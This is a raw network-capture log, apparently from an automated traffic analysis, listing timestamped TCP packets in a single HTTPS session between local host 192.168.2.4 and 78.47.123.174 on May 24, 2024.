May 24, 2024 10:27:25.522391081 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.522423983 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.522442102 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.535828114 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.535861969 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.535943031 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.535958052 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.536011934 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.545296907 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.545320034 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.545383930 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.545398951 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.545452118 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.554366112 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.554382086 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.554449081 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.554464102 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.554526091 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.561824083 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.561847925 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.561943054 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.561956882 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.562007904 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.569777966 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.569807053 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.569878101 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.569892883 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.569945097 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.579665899 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.579690933 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.579757929 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.579771996 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.579859018 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.602144957 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.602161884 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.602370977 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.602432013 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.602509975 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.614507914 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.614530087 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.614587069 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.614603996 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.614638090 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.614660025 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.627424955 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.627453089 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.627497911 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.627516985 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.627542019 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.627559900 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.636470079 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.636487007 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.636578083 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.636590958 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.636651993 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.646696091 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.646713972 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.646790028 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.646804094 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.646857977 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.654469967 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.654495955 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.654539108 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.654552937 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.654582024 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.654602051 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.662981033 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.663024902 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.663153887 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.663167953 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.663229942 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.672018051 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.672085047 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.672091961 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.672116041 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.672142029 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.672164917 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.694885015 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.694927931 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.695065975 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.695066929 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.695130110 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.695184946 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.707123995 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.707163095 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.707195997 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.707216024 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.707247019 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.707267046 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.720992088 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.721035004 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.721188068 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.721188068 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.721250057 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.721309900 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.729176998 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.729198933 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.729255915 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.729295015 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.729327917 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.729348898 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.740031958 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.740056038 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.740118980 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.740129948 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.740171909 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.747649908 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.747674942 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.747728109 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.747742891 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.747773886 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.747796059 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.755584955 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.755603075 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.755672932 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.755687952 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.755742073 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.765634060 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.765647888 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.765698910 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.765721083 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.765746117 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.765763998 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.787324905 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.787338972 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.787429094 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.787492037 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.787552118 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.799802065 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.799817085 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.799902916 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.799918890 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.799993992 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.813893080 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.813926935 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.813960075 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.813982010 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.814011097 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.814028978 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.822288036 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.822316885 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.822379112 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.822379112 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.822443008 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.822525978 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.832756996 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.832786083 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.832830906 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.832850933 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.832879066 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.832896948 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.842078924 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.842125893 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.842227936 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.842247009 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.842323065 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.842355013 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.851624966 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.851639986 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.851691008 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.851705074 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.851736069 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.851752996 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.861202002 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.861216068 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.861290932 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.861306906 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.861361027 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.880978107 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.880990982 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.881177902 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.881239891 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.881303072 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.892801046 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.892813921 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.892895937 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.892911911 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.892965078 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.906636000 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.906650066 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.906750917 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.906765938 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.906821012 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.915018082 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.915031910 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.915106058 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.915119886 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.915177107 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.925671101 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.925684929 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.925746918 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.925760984 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.925813913 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.934348106 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.934377909 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.934458971 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.934473038 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.934525013 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.944026947 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.944055080 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.944103956 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.944118023 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.944150925 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.944171906 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.953627110 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.953648090 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.953722000 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.953736067 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.953788042 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.973725080 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.973742962 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.973912001 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.973912954 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.973974943 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.974030972 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.989337921 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.989379883 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.989417076 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.989438057 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:25.989471912 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:25.989491940 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.002630949 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.002650976 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.002829075 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.002829075 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.002892017 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.002947092 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.009124994 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.009144068 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.009195089 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.009217024 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.009244919 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.009263039 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.019445896 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.019476891 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.019524097 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.019545078 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.019570112 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.019587994 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.029350996 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.029396057 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.029437065 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.029455900 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.029479980 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.029499054 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.034912109 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.034955978 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.034986973 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.035000086 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.035029888 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.035048008 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.044570923 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.044595957 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.044646978 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.044660091 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.044686079 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.044703960 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.066695929 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.066744089 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.066886902 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.066948891 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.067018032 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.081933022 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.081957102 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.082129002 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.082129002 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.082191944 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.082252026 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.093106031 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.093130112 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.093228102 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.093245029 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.093303919 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.102725029 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.102756023 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.102807999 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.102823019 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.102853060 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.102874041 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.112263918 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.112286091 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.112452030 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.112467051 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.112525940 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.118818045 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.118839025 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.118892908 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.118906021 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.118935108 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.118952036 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.127403021 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.127424955 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.127474070 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.127485991 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.127515078 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.127532005 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.140291929 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.140314102 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.140476942 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.140476942 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.140539885 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.140595913 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.161250114 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.161272049 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.161427975 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.161427975 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.161489964 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.161546946 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.172724962 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.172751904 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.172802925 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.172818899 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.172851086 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.172871113 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.192790031 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.192837000 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.192892075 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.192918062 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.192967892 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.192967892 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.198724985 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.198753119 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.198803902 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.198824883 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.198851109 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.198870897 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.206248045 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.206273079 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.206348896 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.206348896 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.206410885 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.206468105 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.215115070 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.215167999 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.215255022 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.215270042 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.215354919 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.222780943 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.222805023 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.222873926 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.222891092 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.222997904 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.241668940 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.241714954 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.241831064 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.241832018 CEST	49759	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:26.241894007 CEST	443	49759	78.47.123.174	192.168.2.4
May 24, 2024 10:27:26.241964102 CEST	49759	443	192.168.2.4	78.47.123.174
